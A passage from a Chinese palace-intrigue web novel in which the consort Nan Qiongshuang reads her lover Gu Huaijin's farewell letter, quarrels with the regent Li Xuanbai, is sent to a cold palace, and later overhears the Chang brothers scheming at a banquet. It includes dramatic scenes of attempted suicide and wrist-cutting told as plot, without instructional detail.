冷着神色打量他。 张度站在她幽幽的眸光里,半点心虚回避之意也无,坦坦荡荡迎着她的视线,手自衣襟中掏出了一个小小的包裹。 递在她眼前。 南琼霜垂了眸。 一个轻轻的、扁扁的包裹。外面一方雪白丝绢,刺着梅花。 那丝绢呈在她眼前,她当即险些落泪,堪堪止住了。 她甚至不必认识他的手帕。 所有他随身携带之物,她不必见过,就知道是他的东西。 一切都有他的气息。 一颗泪悬在睫毛上,她嘴唇在齿间咬了又咬,缓缓伸出手,接过来。 她用一种毫不在乎的口吻道:“他还有什么对我说的。” 张度:“没有了。” 她解下了外头的白丝绢,神色冷淡,眼底水光已经积得潋滟。 “唯有一句。” 张度朝她鞠躬。 她手上拆着外面的纸,听着。 “顾先生曾想最后见您一面。但亦料到此事之后,摄政王会派亲卫软禁娘娘,因而要对您说,‘不要为难’。” 她咬着舌头,嘴里已经有丝丝的甜味。 “先生说,‘不必为难,不必强求。审时度势,明哲保身。’” 明哲保身。 他自己在那边咽气,叫她在这里明哲保身。 她道:“好了,下去吧。” 张度行了个礼,大跨步下去了,甲胄之声渐远。 吱呀一声,殿门关上了。 殿内静得连皮肤底下血管跳动的声音都听得见。 南琼霜看着那尚未全打开的纸包,忽然有种前途未卜的恐惧。 若看了里面的东西,她真不知道自己是否还能演下去了。 她木木地想了片刻,末了,对两个侍在贵妃榻旁的侍女道: “你们两个,同姓顾的串通一气,知道这在门内……会判什么罪吗。” 她语气已经太平、太轻,仿佛一个女鬼,森森地往外吹字。 清涟远香两个听得毛骨悚然,缩着肩膀低头:“奴婢……” “往生门最忌叛徒。”她已是强弩之末,摇摇欲坠地威胁: “你们将我的情报泄露给他,就算倒戈。……我不管你们二人有何理由,有何苦楚。本该替我办事,却半路被我的猎物收买了去,这种事……我回去向审录司一报,你们二人,会死得惨绝,连乱葬岗上的狗……都懒得看一眼。” “娘娘,奴婢……”两个人登时含着泪跪下,巴巴地仰着头望她,“奴婢们确实不该,但当时被顾先生所救……” “被他救过,就可以叛吗。”她苦笑,她被顾怀瑾救过无数次,她还没有叛呢,“被他救过,又被他晓之以情动之以理地笼络,又伤了记忆。所以轻易就听了他的话。” 她苍白着脸笑了,“你们就没想过,我南琼霜是极乐堂内,最风光的一个……。在我眼皮子底下,班门弄斧……莫非是活腻了?” 清涟垂着头,哀哀打着哆嗦,不说话。 远香兀地抬起脸来,面皮都涨红了:“娘娘,您若是肯……您若是肯……”肯什么,她终于还是没胆子从嘴里吐出来,默不作声地跳过了,“我们二人,到您赎身那一天,都只为您驱驰,只帮您说好话。就算门内问什么,咱们也不说!” 两厢缄默,这是远香的要求,也是她的筹码。 南琼霜靠在贵妃榻上,打量着面前人。 远香难以自控地发着抖,可是一双眼睛坚定灼灼,被叛门之罪逼到了头,显出些偏激的亢奋。 她冷笑一声。 敢拿“就算门内问什么”这种话来点她,或许这丫头已经品出了些苗头。 罢,她今晚失态太过,被瞧出些什么也正常。 她道:“这么聪明,那是最好了。”又偏开头看着清涟的后脑勺:“……她答应了,你呢?” 清涟:“奴婢不敢!奴婢……即便您赎了身,奴婢也不会跟门内透露半分!” “聪明人,好说话。”她虚弱又疲惫,手指在那纸包上打着圈,“……记住,倘若我日后赎了身,却因为什么话,被咱们门内……又抓了回来。——谁也别想好。记住了吗?” “奴婢们记住了!记住了!” 南琼霜终于敷衍完这二人,手往旁一挥: “下去吧。” 两人退下,大殿之内,静若无波死水。 她终于有勇气将那小小的纸包裹打开。 里头,一张折叠着的纸,还有一些沉甸甸的小玩意。 手一倾斜,那些小东西随之滑动,挤在角里。 她未管,先拿出了那张纸,打开。 他端正典雅的小楷。 她胃里突地一跳,手开始哆嗦。 浅蓝色的月光底下,信笺微微泛黄,开头是以墨写就的四个字: “霜儿如晤。” “卿卿启信之时,瑾已夙愿得偿。” “当年兰阁一夜,玉牌失窃,阖山倾颓。吾一向以公为重,酿成此祸,痛愧难当。无颜苟活,遂求解脱,但求卿卿勿念。” “今日之举,固宜早为之。然当年含雪峰一别,神魂恸碎,难以自当,非再见卿卿不可,遂厚颜苟活多年。如今再逢卿卿,卿卿顺意安康,怀瑾此心终于能放,黄泉之下,亦能安息。” “望卿卿勿以怀瑾之去为悲。天山亡于吾手,于情于理,早该以身相殉。怀瑾亦于公私情理之中苦熬良久,殚精竭虑,肝肠寸断,夜夜难寐,实难再继。今日殉山,是吾夙愿。唯有往生,方得解脱。” “天山之祸,本为吾之过,非卿卿之失,吾未曾责卿卿也。护佑天山,是吾之本分,吾不能效,以至门派没落,实难怪旁人。你我之间,无非卿卿更善履职,并无对错。怀瑾软弱轻信,以至败于往生门之手,成王败寇,愿赌服输。” “此非卿卿之过,求卿卿万勿自责。” “天山之下初逢卿卿,吾未曾悔也。卿卿怜我爱我,保我救我,怀瑾不胜感激。当年怀瑾受罚,卿卿撑舟顺水而下,眉目雅艳,疏柔如水,自那以后,我因卿卿,方知世上何为情。是恩非怨,是情非仇。纵然今日长诀,吾为地下一鬼,亦念卿卿。” “卿卿不必以我为念。” “自此以后,九泉之下,遥佑尔安。” “怀瑾绝笔。” 南琼霜伏在贵妃榻上,手死死按着心口,明明人在陆地上,却溺了水般窒息,竭力往肺里抽气。 她筋疲力竭地,强撑着,掏出了那包裹里其余的细碎物件。 一枚戒指。中间一颗流光溢彩的透明珠子,他的本命珠。 一把梳子。当年兰阁之夜前,乞巧节集会,两人结发的那把梳子。 她抖得眼泪往下乱抛。 最后一个东西,细细的、薄薄的、纤长的,一枚小木片。 她拿出来。 就着月光,是用朱砂写的四个红字: “半缘半劫。” 第二日,金戈侍卫依旧没有撤去。 侍卫在菡萏宫所有门前把守,往窗外一看,回廊底下一排齐齐的黑衣背影,高得几乎蹭到灯笼底下的流苏。 南琼霜侧躺在榻上,瞪着眼睛看窗外的一线天。 一点蓝蓝的可怜的天,被床幔掩着,雕窗筛着,屋檐压着,又被金戈侍卫的背影遮着,映在她眼里,已经是一派灰暗无力。 窗外一片喧哗的蝉鸣。花草的叶轻轻在夏风中摇动。 花草树木当真是一切如常。 她望着窗外,像一条在海滩的小水洼里搁了浅的鱼,巴望着大海。 一夜无眠。很累,但睡不下。 没有消息。雾刀还没回来复命。清涟远香与她一同被软禁,出不去。 张度再无消息给她了,再见她,又是一脸傲慢不耐。 可是,即便有消息,李玄白也不准消息传进菡萏宫吧。 就连紫宸殿,都再没来找过她。 她仰躺在榻上,人已经迟钝得有些呆愣愣的。 也不知是什么时候,殿外送了午膳进来,搁在她眼皮子底下。 倒依旧是新鲜珍奇的一桌,并未因她的境遇而有所减损,甚至还更丰盛了些。 远香清涟两个站在榻前,忧心忡忡地劝了她半日。 她轻飘飘地下了榻,走去桌前拿了酒壶酒盏,轻飘飘地从摆满佳肴的桌前绕过,再度上了榻。 她原本不喝酒的,滴酒不沾。恐用了酒,说些不该说的话。 只是,眼下,不用些酒,日子太难熬。 她忽然想起袖中尚有些用剩的蒙汗药,混在酒里,一口服下,昏睡过去。 再睁开眼,已经又是深夜。 殿内又掌起了灯。 菡萏宫中依旧寂静一片。外面大约已经乱成一团麻,她被孤身禁足在殿里,好像被一切遗忘了似的。 这时候,晚膳又从殿外送了进来。因她醒得迟,晚膳送得也迟。 桌上一盘一盘山珍海味摆着,角落里宫灯的光黯然摇曳。她捏着象牙箸,只是神思惘然,懒洋洋的,不想动。 两个侍女连声在一旁劝:“娘娘,您多少用些吧。您自昨儿夜里便一粒米也未进……” 她将象牙箸往桌上一拍:“不想吃。” “娘娘……” “这些菜,都是摄政王吩咐做的吧。”她垂眼,长睫在昏暗的光里刮下一丝一丝的影,“往日都还没有这么好的饭食。怎么?软禁了我,倒在这些无关紧要的事上殷勤了?” 远香忙回头往外头瞧,在唇间竖起一根食指: “娘娘,您小声些,外头全是摄政王的人。” “摄政王。”她笑了笑,“给他听见了又怎么。倒是叫他来啊!把我一个人,莫名其妙地关在这里,门不让出,人不让进,皇上发了头风,也不准我去看!也不知用的什么由头关我,不知犯了什么错要关我,不知打算关到何时!” “娘娘……” 她咬着牙笑,“就这么把我的菡萏宫封死了,连个话也没有,连露个脸解释两句都不肯。把我一个人软禁在这!难道他关了人,都不给我两句话的?!本宫究竟犯了哪条宫规?!” “娘娘……您……” 她抓起桌上的小酒盏,奋力往殿门口一掷,小酒盏啪地一声炸碎:“别劝了!” 清涟远香连忙跪下称是。 她怒得气喘吁吁,眼睛望着地上两个忐忑不安的宫女,耳朵却竖着,静听外头的动静。 糊着丝绢的雕花隔扇门外,一排排挺拔身影背对着殿内,肃穆无声。 忽然,被酒盏碎片击出一道浅痕的门的另一侧,一个身影匆匆出了列,跑去传话。 南琼霜放了心,木然望着桌上鲜美佳肴。 宫外究竟怎样,她简直不敢想。 倘若他真出了事…… 她一点也不能想。 她扶着额头,一面捶自己太阳穴。 为什么到现在还没有消息?不过是叫雾刀去传个话。 云瞒月得知她求援,定然会来帮她的。以雾刀的脚力,寻得云瞒月不需两个时辰;请调云瞒月,大约也不需两个时辰。 算起来,今晚,她不论如何都可以出宫。 她又躺回榻上,强迫自己多休息,以免苦熬着精神头。 雾刀:“南琼霜。” 她腾地一下坐起来,望着那自阴影里缓缓化出来的影子。 “怎么样?” “您的吩咐,小的去办了。”雾刀狗似的蹲在她床榻边,“可惜,不赶巧,云大人这会正忙别的差事呢,找不着人,没法到这边来。” 南琼霜面色无波,手在身 侧,抠破了自己掌心。 “如此。”她挑挑眉,“没事。外头有什么消息?” 心缓缓地悬起来,下面就是锋利不眨眼的铡刀。 “乱了套啦,这可是乱了套啦。”雾刀扒着她床边嘿嘿笑: “那姓顾的一死,局势不得大变?各方都各自打算呢。疯子皇帝天天叫那老王头进宫,病发得快死啦;定王那厮派常忠去了山海关外调兵,自己在京里把着福余三卫,等下一步呢。姓李那小子,动作隐秘得多,小的这几天没往皇宫里跑,不过,小的猜测,大约也在调京畿的大军呢。” 南琼霜晃着心神从头听到尾,没听到她非听见不可的那几个字,全身发麻。 “什么叫‘姓顾的一死’。”她终于筛出了点东西,迟钝的眼珠聚了点焦,“姓顾的还没死?” “没呢。”雾刀笑着。 她心头云翳訇然打开。 “但快了。” 南琼霜身上一片冰凉。 “不打紧呀,姑奶奶。您不是有法子吗?治那人的法子?”雾刀挠着颧骨,“您要云大人来,不就是想出宫吗?那好办呐!小的带您出宫不就得了?” 南琼霜望着雾刀得意神色,竟然听得愣愣的。 这么简单的法子,为什么她才想到。她是蠢吗? 她道:“你都少了一只手,还能帮我出宫?外头可全是摄政王的精兵——”她容光焕发,食指戳着他鼻尖威胁,“——你若是敢同我说大话,害姑奶奶我漏了马脚,别说银子,你这条命,也别想要了!” “小的明白,小的当然明白。小事嘛,这点……” “给摄政王请安。” 李玄白的声音:“娘娘无事?” 外头侍卫道:“娘娘一切安好。” 吱呀一声,殿门被推开。 南琼霜再回过头来,榻边的人影已经消失不见。 殿内灯火昏沉,她心情不虞,宫里只点着两盏乏力的矮烛,晕黄黯淡。 李玄白站在大株大株的流苏底下,一张桀骜面孔,被摇曳的光映得格外矜贵,面色阴沉,一只手掀开垂下的纱幔,隔着房间内一切,与她四目相对。 两人谁都没说话。 良久,还是他走近,先开了口: “听说你在闹。闹什么。” 没看她,自顾自抓着她的茶盏喝了口水。 她红着眼睛瞪他,胸口兀自起伏。 他轻飘飘往外面摆满饭食的圆桌上看了一眼,冷笑,“听他们说,还闹上绝食了?” 绝食? 她亦冷笑,“我不过近日没胃口。” 李玄白冷哼一声,站起了身,往殿里摆着菜肴的桌边走,“过来,好好用饭。” 南琼霜依旧在榻上,没有动。 李玄白半垂着眼:“过来。” 这尊大佛,脾性放肆得太吓人,连她也忌惮。 她慢吞吞地下了地,拖着步子往桌旁走。 李玄白站在桌边,叉着腰环望一圈,哼了一声,“享不了福的东西。专给你做了一大桌子菜,是半筷子也没给我动。”一面从容将她搁在碗上的象牙箸捡在手里,一面对清涟道:“叫人做些清炒虾仁、白灼菜心、松仁玉米,赶快送来。” 又撩摆径自坐下,拣着桌上的蟹粉狮子头吃。 远香声如蚊蝇:“王爷,那象牙箸……是娘娘用过的。” 李玄白笑着顿了一瞬,犹自夹菜,盯着南琼霜,缓缓将狮子头放进口里。 南琼霜眉尾一跳。 远香当即垂着头退开,腿脚一软,险些跪下。 李玄白:“今日,本王与娘娘的话,谁长了耳朵,就是不想长脑袋了。” 清涟远香仓皇跪在地上:“奴婢明白。” 他手一挥:“都滚下去。”又道:“张度。” 张度板着神色进殿行礼。 “金戈侍卫尽数退至院外,给我把守着大门,不准靠近。” 张度领了命,肃然行了个军礼,大跨步出了殿。 他懒散问,“怎么个没胃口法?是听说那男的出了事没胃口,还是被本王禁了足没胃口,抑或是忧心皇上的头风,没胃口?” 她只是问:“他怎么样?” 李玄白最厌明明他就在她眼前,她却一心在乎另一个男人,嗤笑一声。 她红着眼:“我问你他怎么样!” 李玄白玩着耳坠,眯着眼睛睨她。 “我问你,为什么关我,凭什么关我,你拿什么由头关我?!你这么肆无忌惮地派兵软禁我,就不怕流言四起,说你我有私情?” “流言?”李玄白晃着腿,“本王何曾畏惧流言。” “你不畏惧,难道我也不畏惧?你是摄政王,我是宫妃!流言漫天,你倒是手里有权柄,我落在皇上手里,不知道要被如何磋磨!” 李玄白笑了一声:“我若想保你,谁能磋磨你。楚皎皎,你不是辨不明形势,明知道本王是一山二虎之局中胜算最大的一方,你这般聪明,竟不知该站哪一队?你何苦一而再再而三,为一个姓顾的冷落我?你瞧瞧你昨日在紫宸殿内那样子!” 他越说语气越冷,象牙箸往桌上一拍: “你瞧瞧你昨日那方寸大乱的样子!一点魂儿都没有了!明知那疯子和毛琳妍同在,你竟失态至此!那个男的对你就这般重要?!若不是我帮你遮掩两句,你跟他那点子破事当时就能给那疯子听了去,你还能有命在菡萏宫里质问我?” 她当即给说得哑口无言,讪讪地轻喘。 “连我都给一直蒙在鼓里呢。”李玄白凉凉笑了,站起身来,到她面前居高临下抱着双肩,“一直对我说同他没什么,我才护你至此。若不是亲眼见了你那样子,我还真就信了你跟他没什么!” 她听笑了,“怎么,你像个捉了奸来兴师问罪的男人。” 李玄白听了,不怒反笑,吊儿郎当地歪着头俯视她。 南琼霜不躲也不避——真是奇怪,她是最知道李玄白此人的脾性的,可是,眼下她竟只想顶撞他,直接气死是最好。 他笑着:“我问你,你同他究竟是什么关系,同我又是什么关系。” 南琼霜越听越好笑。真要同她讨要名分吗,堂堂摄政王? 她有那么多男人,称得上是正宫的就有两个。但再怎么排,也排不到他李玄白呀。 她不答,笑:“你觉得呢?” 李玄白:“你既然钟情于他,竟还一并钓着我。怎么?本王好利用?” “非也。”她眯着眼,轻轻吐字:“我躲不开呀。” 李玄白难以置信。 她犹然笑着:“是谁追着谁,你别忘了。” “在天山上,就是你追着我。从天山上下来,还是你上赶着追我。我逼你了吗?勾.引你了吗?给你下了下作的药吗?没有吧。是谁抓着谁不放?” 她笑得轻蔑,伸出一根食指,轻轻沿着他下巴摩挲——她那种独一无二、不屑的亲昵之态,语气轻得像山里的精魅: “你追着我,对我献殷勤,还怪我利用你。摄政王,天底下没有不需代价的美人心吧。” “你既然懂这个道理,”他一拳击在圆桌上,满桌菜肴叮当碰撞,“竟还一面仰仗我,一面对他人用心?!” “别气嘛,表兄。”她道,“谁答应你做了这些,我就爱你?” 她笑得眼睛弯弯,绕着胸前发丝,“你这么帮我,我都不喜欢你,难道能怪我吗?你还是多从自己身上找找缘由吧。” “楚皎皎。”李玄白气得直笑,他这辈子,还从未被人如此扯着老虎尾巴玩耍过,“你是不想活了吗?” “对呀,我是不想活了。”她眼里一点亢奋的光芒灼灼,“不是同你说过了吗?我命短。你招惹一个亡命之徒做什么。你就算想移我九族,我都没有九族给你杀呢。我们这些人,尽是刀尖喋血之徒,有谁会怕死!” “好,好。想死是吧。很好。”他拿起桌上一只小酒盏,咔一声在掌中捏裂了,酒液霎时哗哗从中淌出来,手掌缓缓打开,沾着血的瓷片嵌在肉里,他递到她眼前,“赐你个全尸。不是爱他吗?跟他一样死法。割腕!” 南琼霜拿过来,二话不说就翻开手腕。 李玄白不及阻止,刚一定睛,白花花的瓷片已经竖着卡在她手腕上。 他脑子里嗡的一声。 “好,好。小兔崽子——”他咬牙切齿地笑,一把钳住她另一只又往下施力的手,朝外唤:“——传太医!” 南琼霜一言不发,急促喘着,只是铁了心同他硬来。 李玄白拳头抵着唇,一面冷笑,一面点头,信誓旦旦,“你也想死,他也想死。这么一对苦命鸳鸯,本王若不成全,还真是造了孽了。” 说完,他咬着牙,一面微微哆嗦,一面急急慌慌绕圈踱步,很忙似的。 南琼霜梗着脖子等他发落,就是不肯服软。 她那神色,两人已经如此默契,李玄白如何不懂。 她不是不知他的脾气,她就是明知不可为,偏要为之。 李玄白几乎将一口牙咬碎。 末了,他狠狠笑着,从牙缝里挤出几个字: “小兔崽子,真是惯的。” “想死?没那么容易。” “上静思轩一边治伤,一边陪那疯婆子去吧。” 太医来了。他一撩摆,抬步跨过门槛: “来人,将珍妃打入静思轩!” 第160章 静思轩中陈旧寂寥。 一切都灰秃秃的,褪了色。整座殿内以素白布幔隔断,将正殿、配殿、寝殿草草一隔。那是沉甸甸的扎实的料子,挂了满殿,打眼一看,仿佛缟素。 窗框潮得扭曲了,崩裂开半截;地面上积着一层厚厚的灰;床帷亦是以相同的料子做成,一走一过碰一下,就摇人一头的灰。 南琼霜一向喜洁,这时候,也被逼得没办法,小心翼翼地垫着帕子在窗下坐。 窗外,是幽僻又狭窄的庭院。里头一棵不高不矮的树,一面沉闷的高墙。墙下,是李玄白那些佩刀的金戈侍卫。 她叹了口气,目光从窗外转回来。 从菡萏宫里,被拖到了这鬼地方。 她也不知与李玄白那厮对着干是否正确了。 昨夜那般气盛,好似粉身碎骨浑不怕,实则还是气晕了头,出了昏招。 一时意气之争,代价就是冷宫禁足。不仅更难脱身,甚至连一片干净的坐的地儿都没有,还要与一个神神叨叨的疯子——共处一室。 南琼霜转而望着正殿里头,对着窗子干坐的女人。 常太妃已经老了,因着常年在冷宫之中不得见人,日日连头也不梳,乍一看去,人仿佛顶着一团在灰尘中滚了半天的柳絮。 她每日,什么也不做,就只拿一张凳子,坐在正殿的窗前,弓着腰,巴望着外头。 窗外唯有一堵墙。 南琼霜端起桌上的瓜果——就这盘果子,还是李玄白别别扭扭,着人给她送来的。若不然,这静思轩里连一碟果子也没有。 她走到太妃面前,轻轻将果子放下,搬了张凳子在她身侧: “太妃,我陪您说说话吧。” 常太妃不答也不看她,浑浊的眼珠映着点外头的光。 她捡起一只梨,自顾自替太妃削皮。 “您莫忧心了,皇上心里一直惦记着您呢。您当年的案子,国师也已经重新查过,其中确实有疑,皇上正要给您翻案呢。”她将那削过了皮的雪白的梨子递到太妃眼前,“不久,您大约就可以从此处出去了。” 常太妃一个字也没有,眼珠没有动过一瞬。 “晔儿……” 晔儿便是嘉庆帝。 “晔儿……听娘的……那狂妄小儿务必得杀……秦王不除……” 李玄白做藩王时,封号为秦。 南琼霜拧着眉叹了口气。 “秦王不除……你的皇位,坐不稳哪……” 南琼霜再将那梨子往前递了递:“太妃,宫中的事,您就别烦心了,有人替咱们烦心着呢。您不若先用个梨子?新送来的砀山贡梨呢。” 常太妃劈手一掷,她眼前忽然一阵残影,下一瞬,手中一空,偏头望去,那梨已经咚一声砸在地上,滚落开来。 “本宫乃翊坤宫之主,皇上的宠妃,一宫的主位!势利小人,贱东西,竟敢拿洋番芋敷衍我?!滚开!” 她眼里一片癫狂。 南琼霜与她对视一眼,几乎疑心她要动手,无可奈何,起了身。 常太妃无法交谈。许是在冷宫之中磋磨得太久,她不仅口齿不清,神智也失常。 这已经是她第四次试着同她说话。前三次,次次如此。 本想从太妃口中打听些常家李家的旧事,看这架势,是不可能了。 南琼霜遂回了自己的偏殿,在窗下的炕上垫了帕子,一个人坐着。 雾刀再无消息了。张度亦不在此,被调去戍卫李玄白的大明宫。清涟远香亦被李玄白勒令留在菡萏宫,不准跟出来,看这架势,是有意叫她吃吃苦头。 她冷哼一声,摸着腕上纱布。 一面要她割腕,真割了腕,又慌得不知如何是好,包扎好了,又将她丢进这鸟不拉屎的地方,话撂得狠绝,咬着牙说要杀了她,眼睛一睁,又是他着人送来的饭食瓜果。 一面放狠话,一面舍不得,她倒想看看两人里是谁捱得过谁。 “姑奶奶。” 一回首,雾刀正从白花花的床幔后头走出来。因着此处连个宫人都无,他连匿影术都懒得施展,大喇喇走到她脚底下蹲下:“您怎么给打发到这儿来了?要小的一顿好找。” 她朝正殿眺望一眼,常太妃在里头痴痴呆坐着,她道:“你滚回去。你怎么知道她什么时候疯,什么时候不疯?” 雾刀笑:“就是个疯子,我盯了你俩几天啦。” 南琼霜上下打量他一圈。 她就知道,即便给他下了令,这条狗也未必会整日按她的吩咐做事。毕竟,他在哪,不在哪,她察觉不了。 “有什么消息?” 雾刀一只手偷偷上去,捡走了果盘里的一只小番茄,在齿间咬着: “顾府那头形势定啦。” 她面色淡淡地听他说,指甲渐抠着自己指腹。 “那姓顾的没死。”他嚼着,“救回来了,咱们不消担心啦。” 她转开眼神:“可惜了。” 雾刀:“可惜什么?姑奶奶,那是银子诶,白花花的银子!” “你懂什么。”她叹气,“他当年便与我有过节,如今我们又在同一个人手底下。即便他爱我,难道我日子就消停得了?不如早些死了算了,我宁可不要这些银子。” 又看着他:“还有呢?” “姓顾的没死,京城里那些猫儿啊耗子啊,暂时都消停了。常忠从山海关回来了,大军仍在关外没动;姓李的京畿的军队也没动静。疯子皇帝听说他给救了回来,精神头也好了,又往赌房打牌呢。那老王头,宰相吧?天天耗在顾府,叨叨叨叨地劝他,跟他嚎啊,扯着嗓子。那姓顾的整日安抚他。” 南琼霜闭上眼。 这种时候,会有些羡慕王茂行。 可是,他既然没事,她便没有理由,要雾刀带她出宫了。 很想见他,但还是怕说多错多。 “形势安定,就是最好了,旁的我什么也不求。”她道,“没别的事了,你下去吧。” 雾刀嘿嘿笑:“是。” “依旧在定王府给我盯着,每三日回我身边一趟,述职。” “还有一件事,姑奶奶。” 她道:“你说。” “小的听那疯子皇帝说,疯老婆子的案子查明白了,常达给姓李的施压,姓李的不情不愿地准了。那老婆子很快就能出来了。您可得想法子从这破地方出来呀,可别等着老婆子走了,冷宫里就剩您一个了。” 顾怀瑾既然没事,不可能由着李玄白软禁她。 她轰苍蝇似的轰他:“行行行,不消你提醒,赶紧滚。” 雾刀满脸堆笑,喏喏应着走了。 过了没几日,门上的封条果然被人撕了下去,静思轩不知多少年不曾打开的殿门终于一开,满殿碎裂发霉的地砖终于见了光,进来一个格外端庄的掌事宫女,立在两门中间豁然日光里,朝殿内两个灰扑扑的人行礼: “奴婢李慎舒,给珍妃娘娘请安,给太妃娘娘请安。” 李慎舒。 南琼霜听了这名字,当即认真瞧她。 孙汾口中那个赎过了身、如今在宫中侍奉的同僚。 天底下竟有这么巧的事。 李慎舒四十上下,是极沉稳和蔼的长相,时时带点妥帖有分寸的笑,既守礼,又不卑不亢,说话时,字吐得和缓又坚定,连耳朵底下的小坠子都不会动一动。 谁瞧,都看得出是宫里有资历的大宫女。 “摄政王下旨放太妃娘娘出静思轩,请太妃搬去钟粹宫。尚宫局特派了奴婢为娘娘贴身服侍数日,替娘娘梳洗更衣。” “放了太妃?那我……” 李慎舒对上她希冀目光,默不作声地垂下眼神,朝她垂首行礼。 南琼霜心里一瞬了然,冷嗤一声。 连常太妃都放了,竟然还要关着她! 她翻个白眼,回身一看,李慎舒已经走去太妃身边,恭恭敬敬地弯着身子同她说话。 她越看心中越烦闷,一转身,自己去窗下坐着去了。 这一服侍,就是好些天。 常太妃原本该搬去钟粹宫,可钟粹宫已是多年无人居住,若要住人,还需拾掇些日子,故而这些天,太妃依然住在静思轩。 南琼霜日日看着李慎舒前前后后地伺候着常太妃,那多年不再梳妆的人,得了人照料,鬓发也精致了,脸上也光洁了,一日日地容光焕发起来,又想到自己连两个婢女都在菡萏宫住着,她自己却孤身一人被发派了这地方,心头的火每日愈起。 又一日,她实在憋得太心烦,去了太妃跟前坐。 李慎舒正在太妃身侧恭敬侍立,见了她,屈膝行了礼。 她问:“太妃这些日子还好么?” 本是问的李慎舒。可是未等李慎舒答话,那往日神色呆滞的人,竟然动了动眼珠: “你是晔儿的女人?” 南琼霜一怔:“是。” 这些日子,许是有了一线出冷宫的希望,太妃的疯症竟然好转了些许。 太妃:“晔儿还好么?” “皇上……皇上身体尚安。” “尚安。”太妃轻蔑笑了一下,挑眉问她,“你是哪一世家所出?” 她垂了头道:“清河谢氏。” “原来是与那谢兰依同出一门。”太妃笑,“既然如此,也少诓我了。我们常家世代有癔症,你一个谢氏女,是否整日盼着我的晔儿死?” 她微笑而和善地如此说。 南琼霜听得一愣:“您……” “我问你!你整日守在我的晔儿身边,是否天天盼着我的晔儿死!” 她那双眼睛,与前些日子不同,倒是不浑浊也不疯癫了,是一种清醒的怨戾。 恐怕谢氏与常氏当真结了仇。谢贵妃之死,常太妃当真脱不得干系。 李慎舒急道:“珍妃娘娘,太妃身体抱恙,您还是……” 南琼霜起了身。 刚欲回她自己的地方,静思轩紧闭的门忽而又开了,吴顺弓着身子往里进,见了她,格外热络: “娘娘。娘娘!” 她一见是吴顺,便知所为何事。 她笑:“摄政王打算放我出去了?” 吴顺行礼行得头及地:“摄政王刚才说,已经禁足娘娘数日,想来娘娘这些日子,定有所悔悟。只要您情真意切地写封反省书,摄政王看了感动,就能放了您!” 反省。 南琼霜冷笑一声。 反省?她有什么好反省?她同李玄白说的每一个字、每一句话,她都敢认。 要捂着消息的是他,禁足她的是他,连最后一面都不准她去见的也是他,把她打入冷宫的也是他!倒要她认错? 她踢着吴顺的屁股,把他踹得蹦着跳出去: “滚!有本事叫摄政王就如此关着我!” ——反正嘉庆帝身边,常达已经安插了毛琳妍。她这颗皇上身边,摄政王阵营的棋子,到底要不要,叫他自己掂量着办吧。 两日后,吴顺低眉顺眼地进来,对她说: “过些日子,为贺常太妃出静思轩,宫里头要大办酒宴。喜庆日子将近,摄政王有旨,还请娘娘回您的菡萏宫吧。” 回了菡萏宫,消停了两天。 顾怀瑾一直未进宫。据说,是一直在府中调养。 日子一晃,就到了宫宴当日。 嘉庆帝盼常太妃出冷宫,已经盼了多年,如今终于如愿,特意下令将宫宴安排在乾和宫,以示重视。 南琼霜因着心中一直盼着见顾怀瑾,去乾和宫去得格外早。 到了乾和宫外,尚未到入席的时辰,一众廷臣在殿外恭肃候着。 早到的嫔妃们不愿在殿门口干等,大多三三两两地在御花园内散步解闷。 她不愿去人多处,又想起两人时隔五年再相见的那一回,是在御花园的荷花池边,鬼使神差地又去了荷花池。 荷花池旁,杨柳依依。 却没有她想见的人。 她四面环望了一圈,半点熟悉的影子也没见到,心里烦闷,绕着池边瞎走。 荷花池旁,便是一座假山。 她想清静些,叫清涟远香二人留在外头,自己进了假山中,手里捻着帕子,百无聊赖地一路摸着山上的太湖石。 一边走,一边发呆,却忽然听得山石背后的声音: “大哥,你前些日子领命去关外练兵,感觉如何?那些军士可还服你?” “那是自然。像我,自小跟着咱爹练兵的,我多大岁数,咱们常家军就多大岁数!这些年来我跟着咱爹马上征战,杀敌也有二十年了,年纪虽轻,老将!谁敢不服?” 一面说,一面拍胸脯。 自得而自大的声音,带点醉醺醺的油腻的鼻音。常忠。 她当即缩在山石背后,藏起身影。 “是是是,常少将军真是咱们军中宿将,若要以战功排序,定王第一,第二定然是您!想当年铁马邑一战……” 熟悉的声音,紧赶着应和。徐卫。 “嗨,铁马邑,那都不用提。说最近的,前些日子京中……那人出了事,京中稍微一动,咱爹就派了我去山海关外练兵。若无我,咱爹能放心在京中观察局势吗?” “那是自然。不知当日爹爹要您去关外,怎么跟您说的?”此人应是常忠的弟弟常平。 “咱爹说,我常忠‘志勇性刚,有吾余风’。去山海关外领兵,他唯信得过我,也只能交给我。” 一阵呵呵的得意的笑。 所谓“去山海关外领兵”,应是指顾怀瑾割腕后,各方各自做准备,常达派了常忠去山海关外待命。 “那是自然,少将军!常家军早晚都要传到你手。何止常家军!倘若日后……” 说到这,徐卫不说了。 那意思,她明白。——倘若日后,定王夺了皇位,皇位,也得传给他常忠。 果然,常平不说话了。 父辈遗产,往往引得兄弟阋墙。 常平却道: “平一向笨拙,不得父亲欢心,只恨自己虽有个常字的姓,却无常家的勇。往后大哥练兵,能否带带我?平绝无与大哥相争之意,只是,想学些本事!” 常忠一阵大笑: “好兄弟,那是自然!自家人,若还避着自家人,唧唧歪歪,小肚鸡肠,岂非叫人耻笑!” 山石背后,和睦融洽。 南琼霜却越听越觉得有意思。 常家军、定王府、福余三卫。也许未来还有把龙椅。 这些东西,这个常平,是真打算拱手相让? 何况,他那些话—— 无半分顶撞之意,字字都在夸,句句都在捧。然而,又实打实地要到了东西。 说这么好听的话,究竟是心里的话也好听,还是打着点别的算盘? 她拈着帕子掩去唇边一点窃笑,信手刮着身侧的太湖石,转过一个弯。 一抬头,刚刚好好与常忠一行人对上。 她怔了片刻,勉强挂起一点和善笑意。 对面三人一齐行礼:“给珍妃娘娘请安。” 她笑得全然事不关己,一派天真自然地道:“常少将军几个,也在御花园内散心?” 对面,常忠自是众星捧月,站在正中。身侧两人,徐卫行着礼不敢抬眼,常平乍一望她,见她在碧绿丝绦底下温柔浅笑,心里突地一跳,吓得撤了一步。 常忠望着她,脸上一副呆滞神色,已经不知天地为何物。 常忠没说话,其余二人也不敢开口。 南琼霜好意提醒:“少将军?” 常忠不应,涎水几乎从嘴角淌下来。 她再道:“少将军?” “诶,娘娘,娘娘。”回过神来,他已是满面燥红,人中很快出了汗,油亮油亮的,“娘娘……上回见面,还是笑乐园中呢。久未见您,您贵体可安?” 大概整个洛京都知道她被摄政王软禁了吧。这常忠,已是不知说什么好。 她含着笑:“尚可。您正要往乾和殿去?”赶快滚吧。 